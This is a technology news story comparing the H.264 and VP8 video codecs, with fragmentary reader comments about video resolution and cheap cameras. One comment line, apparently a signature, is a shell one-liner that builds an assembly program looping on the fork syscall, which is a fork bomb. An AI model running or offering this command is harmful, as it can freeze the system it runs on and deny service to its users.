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H.264 and VP8 Compared

Posted by timothy on from the one-has-4-chars-and-a-dot dept.

TheReal_sabret00the writes with a snippet from StreamingMedia.com: "VP8 is now free, but if the quality is substandard, who cares? Well, it turns out that the quality isn't substandard, so that's not an issue, but neither is it twice the quality of H.264 at half the bandwidth. See for yourself."

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  1. Re:What a horrible test file by sopssa · · Score: 0, Redundant

    I'm not so sure it would be great for YouTube for that reason. Maybe for the 360p videos, but at least I always watch 720p or 1080p version if it's available. This will be even more important when YouTube starts to have movies and TV shows that you can rent.

    Most of the web video content will be moving towards 720p or 1080p too, so you should really compare future codec candidates towards those.

  2. Re:What a horrible test file by Hal_Porter · · Score: 1, Redundant

    so will never be able to deal with high bandwidth super quality things like blurry disks in the same way.

    Tee hee.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. Re:Bunk test by drinkypoo · · Score: 0, Redundant

    My anecdotal evidence supports this. No one has a cheap camera anymore.

    Anecdotes are useless. I use my super zoom compact ($100, Fuji, 7MP) almost every day.

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    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"